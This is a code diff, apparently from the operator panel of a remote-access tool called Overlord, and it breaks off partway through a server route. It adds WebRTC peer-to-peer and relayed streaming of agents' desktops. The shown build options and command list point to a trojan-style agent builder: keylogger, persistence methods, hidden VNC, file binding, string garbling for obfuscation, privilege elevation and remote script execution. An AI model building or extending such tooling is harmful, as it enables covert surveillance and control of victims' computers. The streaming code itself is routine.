if (canvas) canvas.style.display = active ? "none" : "block";
|
||||||
|
if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
|
||||||
|
}
|
||||||
|
|
||||||
|
function onWebrtcState(label, s) {
|
||||||
|
console.debug(`webrtc[${label}]: state`, s);
|
||||||
|
if (s === "connected") {
|
||||||
|
setStreamState("streaming", `Streaming (${label})`);
|
||||||
|
} else if (s === "failed" || s === "disconnected") {
|
||||||
|
setWebrtcViewActive(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The canvas path counts WS frames via markFrameReceived + updateFpsDisplay.
|
||||||
|
// WebRTC bypasses WS entirely, so we tap the <video>'s rendered-frame callback
|
||||||
|
// (Chrome/Edge/Firefox 132+) to feed the same counters — otherwise the
|
||||||
|
// frame watcher flips to "No frames" and FPS sticks at --.
|
||||||
|
let webrtcRvfcHandle = 0;
|
||||||
|
let webrtcFpsCount = 0;
|
||||||
|
let webrtcFpsWindowStart = 0;
|
||||||
|
function startWebrtcFrameTicker() {
|
||||||
|
if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return;
|
||||||
|
stopWebrtcFrameTicker();
|
||||||
|
webrtcFpsCount = 0;
|
||||||
|
webrtcFpsWindowStart = performance.now();
|
||||||
|
const tick = (now) => {
|
||||||
|
markFrameReceived();
|
||||||
|
webrtcFpsCount += 1;
|
||||||
|
const elapsed = now - webrtcFpsWindowStart;
|
||||||
|
if (elapsed >= 1000) {
|
||||||
|
const fps = Math.round((webrtcFpsCount * 1000) / elapsed);
|
||||||
|
// Agent and viewer FPS are effectively equal in WebRTC mode — the
|
||||||
|
// browser renders every frame the agent sends, no decode skipping.
|
||||||
|
updateFpsDisplay(fps);
|
||||||
|
webrtcFpsCount = 0;
|
||||||
|
webrtcFpsWindowStart = now;
|
||||||
|
} else {
|
||||||
|
updateFpsDisplay();
|
||||||
|
}
|
||||||
|
webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
|
||||||
|
};
|
||||||
|
webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
|
||||||
|
}
|
||||||
|
function stopWebrtcFrameTicker() {
|
||||||
|
if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") {
|
||||||
|
webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle);
|
||||||
|
}
|
||||||
|
webrtcRvfcHandle = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function startWhep(whepPath) {
|
||||||
|
await stopAllWebrtc();
|
||||||
|
if (!webrtcVideo) return;
|
||||||
|
whepClient = new WhepClient({
|
||||||
|
whepPath,
|
||||||
|
videoEl: webrtcVideo,
|
||||||
|
onState: (s) => onWebrtcState("WebRTC Relayed", s),
|
||||||
|
});
|
||||||
|
try {
|
||||||
|
await whepClient.start();
|
||||||
|
setWebrtcViewActive(true);
|
||||||
|
startWebrtcFrameTicker();
|
||||||
|
} catch (err) {
|
||||||
|
console.warn("webrtc: WHEP start failed, falling back to canvas", err);
|
||||||
|
setWebrtcViewActive(false);
|
||||||
|
whepClient = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function startP2P() {
|
||||||
|
await stopAllWebrtc();
|
||||||
|
if (!webrtcVideo) return;
|
||||||
|
p2pClient = new P2PClient({
|
||||||
|
videoEl: webrtcVideo,
|
||||||
|
send: (msg) => {
|
||||||
|
if (ws.readyState === WebSocket.OPEN) {
|
||||||
|
ws.send(encodeMsgpack(msg));
|
||||||
|
}
|
||||||
|
},
|
||||||
|
onState: (s) => onWebrtcState("WebRTC P2P", s),
|
||||||
|
});
|
||||||
|
try {
|
||||||
|
await p2pClient.start();
|
||||||
|
setWebrtcViewActive(true);
|
||||||
|
startWebrtcFrameTicker();
|
||||||
|
} catch (err) {
|
||||||
|
console.warn("webrtc: P2P start failed, falling back to canvas", err);
|
||||||
|
setWebrtcViewActive(false);
|
||||||
|
const c = p2pClient;
|
||||||
|
p2pClient = null;
|
||||||
|
if (c) { try { await c.stop(); } catch {} }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function stopAllWebrtc() {
|
||||||
|
stopWebrtcFrameTicker();
|
||||||
|
setWebrtcViewActive(false);
|
||||||
|
const w = whepClient;
|
||||||
|
whepClient = null;
|
||||||
|
if (w) { try { await w.stop(); } catch {} }
|
||||||
|
const p = p2pClient;
|
||||||
|
p2pClient = null;
|
||||||
|
if (p) { try { await p.stop(); } catch {} }
|
||||||
|
}
|
||||||
|
|
||||||
let monitors = 1;
|
let monitors = 1;
|
||||||
|
|
||||||
function populateDisplays(count, monitorInfo) {
|
function populateDisplays(count, monitorInfo) {
|
||||||
@@ -679,13 +796,24 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
resetH264SessionState();
|
resetH264SessionState();
|
||||||
setStreamState("starting", "Starting stream");
|
setStreamState("starting", "Starting stream");
|
||||||
|
const mode = getWebrtcMode();
|
||||||
|
if (mode === "relayed") {
|
||||||
|
// Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
|
||||||
|
sendCmd("desktop_start", { webrtc: true });
|
||||||
|
} else if (mode === "p2p") {
|
||||||
|
// Kick off the P2P offer asynchronously; capture starts in parallel.
|
||||||
sendCmd("desktop_start", {});
|
sendCmd("desktop_start", {});
|
||||||
|
startP2P();
|
||||||
|
} else {
|
||||||
|
sendCmd("desktop_start", {});
|
||||||
|
}
|
||||||
});
|
});
|
||||||
stopBtn.addEventListener("click", function () {
|
stopBtn.addEventListener("click", function () {
|
||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
setStreamState("stopping", "Stopping stream");
|
setStreamState("stopping", "Stopping stream");
|
||||||
sendCmd("desktop_stop", {});
|
sendCmd("desktop_stop", {});
|
||||||
disconnectAudio();
|
disconnectAudio();
|
||||||
|
stopAllWebrtc();
|
||||||
});
|
});
|
||||||
fullscreenBtn.addEventListener("click", function () {
|
fullscreenBtn.addEventListener("click", function () {
|
||||||
if (canvasContainer.requestFullscreen) {
|
if (canvasContainer.requestFullscreen) {
|
||||||
@@ -1154,6 +1282,18 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
handleStatus(msg);
|
handleStatus(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
|
||||||
|
startWhep(msg.whepPath);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
|
||||||
|
if (p2pClient) p2pClient.onAnswer(msg.sdp);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (msg && msg.type === "webrtc_p2p_ice") {
|
||||||
|
if (p2pClient) p2pClient.onRemoteCandidate(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "input_latency") {
|
if (msg && msg.type === "input_latency") {
|
||||||
updateLatency(Number(msg.ms) || 0);
|
updateLatency(Number(msg.ms) || 0);
|
||||||
return;
|
return;
|
||||||
@@ -1208,11 +1348,13 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
disconnectAudio();
|
disconnectAudio();
|
||||||
destroyVideoDecoder();
|
destroyVideoDecoder();
|
||||||
|
stopAllWebrtc();
|
||||||
setStreamState("disconnected", "Disconnected");
|
setStreamState("disconnected", "Disconnected");
|
||||||
});
|
});
|
||||||
|
|
||||||
ws.addEventListener("error", function () {
|
ws.addEventListener("error", function () {
|
||||||
destroyVideoDecoder();
|
destroyVideoDecoder();
|
||||||
|
stopAllWebrtc();
|
||||||
setStreamState("error", "WebSocket error");
|
setStreamState("error", "WebSocket error");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,108 @@
|
|||||||
|
// Browser ↔ agent direct WebRTC peer client.
|
||||||
|
//
|
||||||
|
// Signaling is multiplexed onto the existing Remote Desktop WS:
|
||||||
|
// browser → server: { type: "webrtc_p2p_offer", sdp }
|
||||||
|
// { type: "webrtc_p2p_ice", candidate, sdpMid, sdpMLineIndex }
|
||||||
|
// { type: "webrtc_p2p_stop" }
|
||||||
|
// server → browser: { type: "webrtc_p2p_answer", sdp }
|
||||||
|
// { type: "webrtc_p2p_ice", ... }
|
||||||
|
//
|
||||||
|
// The server proxies these to the agent via its existing WS command channel
|
||||||
|
// (sessionId is server-side state, not visible to the browser).
|
||||||
|
//
|
||||||
|
// Once SDP + ICE settle, the <video> element receives frames directly from
|
||||||
|
// the agent — MediaMTX is not involved.
|
||||||
|
|
||||||
|
export class P2PClient {
|
||||||
|
/**
|
||||||
|
* @param {object} opts
|
||||||
|
* @param {HTMLVideoElement} opts.videoEl
|
||||||
|
* @param {(msg: object) => void} opts.send Send a JSON-encodable msg over the RD WS.
|
||||||
|
* @param {(state: string) => void} [opts.onState]
|
||||||
|
* @param {string[]} [opts.iceServers] STUN URLs. Default: Google public STUN.
|
||||||
|
*/
|
||||||
|
constructor(opts) {
|
||||||
|
this.videoEl = opts.videoEl;
|
||||||
|
this.send = opts.send;
|
||||||
|
this.onState = opts.onState || (() => {});
|
||||||
|
this.iceServers = opts.iceServers || ["stun:stun.l.google.com:19302"];
|
||||||
|
this.pc = null;
|
||||||
|
this.pendingRemoteCandidates = [];
|
||||||
|
}
|
||||||
|
|
||||||
|
async start() {
|
||||||
|
if (this.pc) await this.stop();
|
||||||
|
|
||||||
|
const pc = new RTCPeerConnection({
|
||||||
|
iceServers: this.iceServers.map((u) => ({ urls: u })),
|
||||||
|
});
|
||||||
|
this.pc = pc;
|
||||||
|
|
||||||
|
pc.addTransceiver("video", { direction: "recvonly" });
|
||||||
|
|
||||||
|
pc.ontrack = (ev) => {
|
||||||
|
if (ev.track.kind !== "video") return;
|
||||||
|
const stream = ev.streams[0] || new MediaStream([ev.track]);
|
||||||
|
this.videoEl.srcObject = stream;
|
||||||
|
this.videoEl.play().catch(() => {});
|
||||||
|
};
|
||||||
|
pc.onicecandidate = (ev) => {
|
||||||
|
// Trickle ICE: empty candidate signals end-of-gathering — we don't
|
||||||
|
// forward it (Pion infers it on its own).
|
||||||
|
if (!ev.candidate || !ev.candidate.candidate) return;
|
||||||
|
this.send({
|
||||||
|
type: "webrtc_p2p_ice",
|
||||||
|
candidate: ev.candidate.candidate,
|
||||||
|
sdpMid: ev.candidate.sdpMid || "",
|
||||||
|
sdpMLineIndex: ev.candidate.sdpMLineIndex || 0,
|
||||||
|
});
|
||||||
|
};
|
||||||
|
pc.onconnectionstatechange = () => {
|
||||||
|
this.onState(pc.connectionState);
|
||||||
|
};
|
||||||
|
|
||||||
|
const offer = await pc.createOffer();
|
||||||
|
await pc.setLocalDescription(offer);
|
||||||
|
this.send({ type: "webrtc_p2p_offer", sdp: pc.localDescription.sdp });
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Handle an SDP answer relayed from the agent. */
|
||||||
|
async onAnswer(sdp) {
|
||||||
|
if (!this.pc || !sdp) return;
|
||||||
|
await this.pc.setRemoteDescription({ type: "answer", sdp });
|
||||||
|
// Drain any ICE candidates that arrived before the answer.
|
||||||
|
const drain = this.pendingRemoteCandidates;
|
||||||
|
this.pendingRemoteCandidates = [];
|
||||||
|
for (const c of drain) {
|
||||||
|
try { await this.pc.addIceCandidate(c); } catch (e) { console.warn("p2p: queued ice add failed", e); }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Add a remote ICE candidate from the agent. */
|
||||||
|
async onRemoteCandidate(msg) {
|
||||||
|
if (!this.pc) return;
|
||||||
|
if (!msg || typeof msg.candidate !== "string" || !msg.candidate) return;
|
||||||
|
const init = {
|
||||||
|
candidate: msg.candidate,
|
||||||
|
sdpMid: typeof msg.sdpMid === "string" ? msg.sdpMid : null,
|
||||||
|
sdpMLineIndex: Number.isInteger(msg.sdpMLineIndex) ? msg.sdpMLineIndex : null,
|
||||||
|
};
|
||||||
|
// If remote description hasn't been set yet, queue.
|
||||||
|
if (!this.pc.remoteDescription) {
|
||||||
|
this.pendingRemoteCandidates.push(init);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try { await this.pc.addIceCandidate(init); } catch (e) { console.warn("p2p: ice add failed", e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
async stop() {
|
||||||
|
const pc = this.pc;
|
||||||
|
this.pc = null;
|
||||||
|
this.pendingRemoteCandidates = [];
|
||||||
|
if (pc) {
|
||||||
|
try { pc.close(); } catch {}
|
||||||
|
}
|
||||||
|
try { this.send({ type: "webrtc_p2p_stop" }); } catch {}
|
||||||
|
if (this.videoEl) this.videoEl.srcObject = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
// Tiny WHEP (WebRTC-HTTP Egress Protocol) client.
|
||||||
|
//
|
||||||
|
// Wires a <video> element to a server-proxied WHEP endpoint:
|
||||||
|
// 1. Create a recvonly video PeerConnection.
|
||||||
|
// 2. POST our SDP offer to whepPath, parse the SDP answer.
|
||||||
|
// 3. ontrack → attach MediaStream to the <video>.
|
||||||
|
//
|
||||||
|
// The Bun server proxies all signaling to MediaMTX, so this fetch inherits the
|
||||||
|
// existing JWT cookie. ICE/DTLS go straight to MediaMTX over UDP.
|
||||||
|
|
||||||
|
export class WhepClient {
|
||||||
|
/**
|
||||||
|
* @param {object} opts
|
||||||
|
* @param {string} opts.whepPath Path under the same origin, e.g. "/api/webrtc/agents/abc/whep"
|
||||||
|
* @param {HTMLVideoElement} opts.videoEl
|
||||||
|
* @param {(state: string) => void} [opts.onState]
|
||||||
|
*/
|
||||||
|
constructor(opts) {
|
||||||
|
this.whepPath = opts.whepPath;
|
||||||
|
this.videoEl = opts.videoEl;
|
||||||
|
this.onState = opts.onState || (() => {});
|
||||||
|
this.pc = null;
|
||||||
|
this.resourceURL = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
async start() {
|
||||||
|
if (this.pc) await this.stop();
|
||||||
|
|
||||||
|
const pc = new RTCPeerConnection({});
|
||||||
|
this.pc = pc;
|
||||||
|
pc.addTransceiver("video", { direction: "recvonly" });
|
||||||
|
|
||||||
|
pc.ontrack = (ev) => {
|
||||||
|
if (ev.track.kind !== "video") return;
|
||||||
|
const stream = ev.streams[0] || new MediaStream([ev.track]);
|
||||||
|
this.videoEl.srcObject = stream;
|
||||||
|
this.videoEl.play().catch(() => {});
|
||||||
|
};
|
||||||
|
pc.onconnectionstatechange = () => {
|
||||||
|
this.onState(pc.connectionState);
|
||||||
|
};
|
||||||
|
|
||||||
|
const offer = await pc.createOffer();
|
||||||
|
await pc.setLocalDescription(offer);
|
||||||
|
await waitIceComplete(pc, 5000);
|
||||||
|
|
||||||
|
// The agent's WHIP publish and the operator's WHEP play start in parallel
|
||||||
|
// when "Start" is clicked. If the operator's WHEP arrives at MediaMTX
|
||||||
|
// before the agent's publish finishes setting up, MediaMTX returns 404
|
||||||
|
// "no stream is available on path ...". Retry briefly to absorb that
|
||||||
|
// race instead of immediately failing back to canvas.
|
||||||
|
const resp = await fetchWithRetry(this.whepPath, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/sdp" },
|
||||||
|
credentials: "include",
|
||||||
|
body: pc.localDescription.sdp,
|
||||||
|
});
|
||||||
|
if (!resp.ok) {
|
||||||
|
const text = await resp.text().catch(() => "");
|
||||||
|
throw new Error(`WHEP ${resp.status}: ${text || resp.statusText}`);
|
||||||
|
}
|
||||||
|
this.resourceURL = resp.headers.get("Location") || "";
|
||||||
|
const answerSDP = await resp.text();
|
||||||
|
await pc.setRemoteDescription({ type: "answer", sdp: answerSDP });
|
||||||
|
}
|
||||||
|
|
||||||
|
async stop() {
|
||||||
|
const pc = this.pc;
|
||||||
|
const url = this.resourceURL;
|
||||||
|
this.pc = null;
|
||||||
|
this.resourceURL = "";
|
||||||
|
if (url) {
|
||||||
|
try {
|
||||||
|
await fetch(url, { method: "DELETE", credentials: "include" });
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
if (pc) {
|
||||||
|
try { pc.close(); } catch {}
|
||||||
|
}
|
||||||
|
if (this.videoEl) {
|
||||||
|
this.videoEl.srcObject = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function fetchWithRetry(url, init, { attempts = 12, delayMs = 400 } = {}) {
|
||||||
|
let last;
|
||||||
|
for (let i = 0; i < attempts; i++) {
|
||||||
|
last = await fetch(url, init);
|
||||||
|
// Only retry the specific "publisher not yet ready" 404 from MediaMTX.
|
||||||
|
// Anything else (auth, network) should fail fast.
|
||||||
|
if (last.status !== 404) return last;
|
||||||
|
const text = await last.clone().text().catch(() => "");
|
||||||
|
if (!/no stream is available/i.test(text)) return last;
|
||||||
|
await new Promise((r) => setTimeout(r, delayMs));
|
||||||
|
}
|
||||||
|
return last;
|
||||||
|
}
|
||||||
|
|
||||||
|
function waitIceComplete(pc, timeoutMs) {
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
if (pc.iceGatheringState === "complete") return resolve();
|
||||||
|
let done = false;
|
||||||
|
const finish = () => {
|
||||||
|
if (done) return;
|
||||||
|
done = true;
|
||||||
|
pc.removeEventListener("icegatheringstatechange", check);
|
||||||
|
resolve();
|
||||||
|
};
|
||||||
|
const check = () => {
|
||||||
|
if (pc.iceGatheringState === "complete") finish();
|
||||||
|
};
|
||||||
|
pc.addEventListener("icegatheringstatechange", check);
|
||||||
|
setTimeout(finish, timeoutMs);
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -390,6 +390,16 @@
|
|||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||||
|
<input type="checkbox" name="enable-webrtc" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-tower-broadcast text-amber-400"></i> WebRTC
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Compile Pion into the agent for WebRTC streaming (P2P + relayed). Adds ~6 MB to the binary; leave off if not needed.</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -75,6 +75,14 @@
|
|||||||
<input type="checkbox" id="codecH264" checked /> H.264
|
<input type="checkbox" id="codecH264" checked /> H.264
|
||||||
</label>
|
</label>
|
||||||
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
|
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
|
||||||
|
<label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct, server only relays signaling. Relayed: through MediaMTX (works behind tougher NATs).">
|
||||||
|
<span class="text-slate-200">Transport</span>
|
||||||
|
<select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
|
||||||
|
<option value="off" selected>Canvas</option>
|
||||||
|
<option value="p2p">WebRTC P2P</option>
|
||||||
|
<option value="relayed">WebRTC Relayed</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div class="flex items-center gap-2">
|
<div class="flex items-center gap-2">
|
||||||
<button id="startBtn" class="button primary">
|
<button id="startBtn" class="button primary">
|
||||||
@@ -170,6 +178,20 @@
|
|||||||
height: auto;
|
height: auto;
|
||||||
"
|
"
|
||||||
></canvas>
|
></canvas>
|
||||||
|
<video
|
||||||
|
id="webrtcVideo"
|
||||||
|
class="bg-slate-950"
|
||||||
|
autoplay
|
||||||
|
playsinline
|
||||||
|
muted
|
||||||
|
style="
|
||||||
|
display: none;
|
||||||
|
max-width: 100%;
|
||||||
|
max-height: 100%;
|
||||||
|
width: auto;
|
||||||
|
height: auto;
|
||||||
|
"
|
||||||
|
></video>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<style>
|
<style>
|
||||||
|
|||||||
@@ -37,6 +37,7 @@ import { handleFileShareRoutes } from "./server/routes/file-share-routes";
|
|||||||
import { handleUsersRoutes } from "./server/routes/users-routes";
|
import { handleUsersRoutes } from "./server/routes/users-routes";
|
||||||
import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
|
import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
|
||||||
import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
|
import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
|
||||||
|
import { handleWebrtcRoutes } from "./server/routes/webrtc-routes";
|
||||||
import { isAuthorizedAgentRequest } from "./server/agent-auth";
|
import { isAuthorizedAgentRequest } from "./server/agent-auth";
|
||||||
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
|
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
|
||||||
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
|
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
|
||||||
@@ -95,6 +96,9 @@ import {
|
|||||||
handleHVNCInstalledAppsResult,
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
|
handleWebrtcP2PAnswer,
|
||||||
|
handleWebrtcP2PIce,
|
||||||
|
cleanupRdViewerP2P,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
hvncStreamingState,
|
hvncStreamingState,
|
||||||
@@ -674,6 +678,9 @@ async function startServer() {
|
|||||||
handleHVNCInstalledAppsResult,
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
|
handleWebrtcP2PAnswer,
|
||||||
|
handleWebrtcP2PIce,
|
||||||
|
cleanupRdViewerP2P,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
cleanupDesktopAudioViewer,
|
cleanupDesktopAudioViewer,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
@@ -718,6 +725,7 @@ async function startServer() {
|
|||||||
(req, url) => handleMiscRoutes(req, url, routeDeps.misc),
|
(req, url) => handleMiscRoutes(req, url, routeDeps.misc),
|
||||||
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
|
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
|
||||||
(req, url) => handlePageRoutes(req, url, routeDeps.page),
|
(req, url) => handlePageRoutes(req, url, routeDeps.page),
|
||||||
|
(req, url) => handleWebrtcRoutes(req, url),
|
||||||
(req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client),
|
(req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client),
|
||||||
(req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade),
|
(req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade),
|
||||||
],
|
],
|
||||||
|
|||||||
@@ -107,6 +107,11 @@ export type CommandType =
|
|||||||
| "desktop_select_display"
|
| "desktop_select_display"
|
||||||
| "desktop_enable_mouse"
|
| "desktop_enable_mouse"
|
||||||
| "desktop_enable_keyboard"
|
| "desktop_enable_keyboard"
|
||||||
|
| "webrtc_publish"
|
||||||
|
| "webrtc_stop"
|
||||||
|
| "webrtc_p2p_offer"
|
||||||
|
| "webrtc_p2p_ice"
|
||||||
|
| "webrtc_p2p_stop"
|
||||||
| "script_exec"
|
| "script_exec"
|
||||||
| "uninstall"
|
| "uninstall"
|
||||||
| "elevate"
|
| "elevate"
|
||||||
|
|||||||
@@ -85,6 +85,7 @@ type BuildProcessConfig = {
|
|||||||
hideConsole?: boolean;
|
hideConsole?: boolean;
|
||||||
noPrinting?: boolean;
|
noPrinting?: boolean;
|
||||||
disableKeylogger?: boolean;
|
disableKeylogger?: boolean;
|
||||||
|
enableWebrtc?: boolean;
|
||||||
builtByUserId?: number;
|
builtByUserId?: number;
|
||||||
outputName?: string;
|
outputName?: string;
|
||||||
garbleLiterals?: boolean;
|
garbleLiterals?: boolean;
|
||||||
@@ -870,6 +871,7 @@ func runBoundFiles() {
|
|||||||
const buildTags: string[] = [];
|
const buildTags: string[] = [];
|
||||||
if (config.noPrinting) buildTags.push("noprint");
|
if (config.noPrinting) buildTags.push("noprint");
|
||||||
if (config.disableKeylogger) buildTags.push("nokeylogger");
|
if (config.disableKeylogger) buildTags.push("nokeylogger");
|
||||||
|
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
|
||||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||||
if (config.enablePersistence && os === "windows") {
|
if (config.enablePersistence && os === "windows") {
|
||||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||||
|
|||||||
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
|
|||||||
requireAdmin,
|
requireAdmin,
|
||||||
criticalProcess,
|
criticalProcess,
|
||||||
disableKeylogger,
|
disableKeylogger,
|
||||||
|
enableWebrtc,
|
||||||
outputExtension,
|
outputExtension,
|
||||||
sleepSeconds,
|
sleepSeconds,
|
||||||
boundFiles,
|
boundFiles,
|
||||||
@@ -374,6 +375,7 @@ export async function handleBuildRoutes(
|
|||||||
requireAdmin: safeRequireAdmin,
|
requireAdmin: safeRequireAdmin,
|
||||||
criticalProcess: safeCriticalProcess,
|
criticalProcess: safeCriticalProcess,
|
||||||
disableKeylogger: !!disableKeylogger,
|
disableKeylogger: !!disableKeylogger,
|
||||||
|
enableWebrtc: !!enableWebrtc,
|
||||||
outputExtension: safeOutputExtension,
|
outputExtension: safeOutputExtension,
|
||||||
sleepSeconds: safeSleepSeconds,
|
sleepSeconds: safeSleepSeconds,
|
||||||
boundFiles: safeBoundFiles,
|
boundFiles: safeBoundFiles,
|
||||||
|
|||||||
@@ -0,0 +1,101 @@
|
|||||||
|
import { randomBytes } from "node:crypto";
|
||||||
|
import { authenticateRequest } from "../../auth";
|
||||||
|
import { canUserAccessClient } from "../../users";
|
||||||
|
import { logger } from "../../logger";
|
||||||
|
|
||||||
|
const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
|
||||||
|
|
||||||
|
|
||||||
|
const PUBLISH_TOKEN_TTL_MS = 60_000;
|
||||||
|
|
||||||
|
type PublishToken = { clientId: string; expiresAt: number };
|
||||||
|
const publishTokens = new Map<string, PublishToken>();
|
||||||
|
|
||||||
|
function prunePublishTokens(now = Date.now()) {
|
||||||
|
for (const [t, entry] of publishTokens) {
|
||||||
|
if (entry.expiresAt < now) publishTokens.delete(t);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function issueWebrtcPublishToken(clientId: string): string {
|
||||||
|
prunePublishTokens();
|
||||||
|
const token = randomBytes(24).toString("base64url");
|
||||||
|
publishTokens.set(token, { clientId, expiresAt: Date.now() + PUBLISH_TOKEN_TTL_MS });
|
||||||
|
return token;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function webrtcStreamPathFor(clientId: string): string {
|
||||||
|
return `agents/${clientId}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Response | null> {
|
||||||
|
if (!url.pathname.startsWith("/api/webrtc/")) return null;
|
||||||
|
|
||||||
|
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||||
|
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+)\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||||
|
if (!match) return new Response("Not Found", { status: 404 });
|
||||||
|
|
||||||
|
const [, streamPath, kind, sessionSuffix] = match;
|
||||||
|
const clientId = streamPath.split("/")[1];
|
||||||
|
|
||||||
|
if (kind === "whip") {
|
||||||
|
const authHeader = req.headers.get("authorization") || "";
|
||||||
|
const m = authHeader.match(/^Bearer\s+(.+)$/i);
|
||||||
|
const token = m?.[1] || "";
|
||||||
|
const entry = publishTokens.get(token);
|
||||||
|
if (!entry || entry.clientId !== clientId || entry.expiresAt < Date.now()) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (req.method === "DELETE") {
|
||||||
|
publishTokens.delete(token);
|
||||||
|
} else {
|
||||||
|
entry.expiresAt = Date.now() + PUBLISH_TOKEN_TTL_MS;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||||
|
if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const upstreamUrl = `${MEDIAMTX_URL}/${streamPath}/${kind}${sessionSuffix || ""}`;
|
||||||
|
const upstreamHeaders = new Headers();
|
||||||
|
for (const [k, v] of req.headers) {
|
||||||
|
const lower = k.toLowerCase();
|
||||||
|
